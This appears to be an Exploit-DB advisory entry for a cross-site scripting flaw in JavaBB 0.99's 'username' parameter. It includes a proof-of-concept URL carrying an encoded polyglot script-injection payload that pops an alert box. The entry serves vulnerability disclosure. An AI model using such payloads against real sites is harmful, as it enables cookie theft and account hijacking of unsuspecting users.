JavaBB 0.99 'userId' Parameter Cross Site Scripting Vulnerability

2012-03-18T00:00:00
ID EDB-ID:36971
Type exploitdb
Reporter sonyy
Modified 2012-03-18T00:00:00

Description

JavaBB 0.99 'userId' Parameter Cross Site Scripting Vulnerability. Webapps exploit for java platform

                                        
                                            source: http://www.securityfocus.com/bid/52545/info

JavaBB is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/pm.externalSend.jbb?userId=42888&username=teapro%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E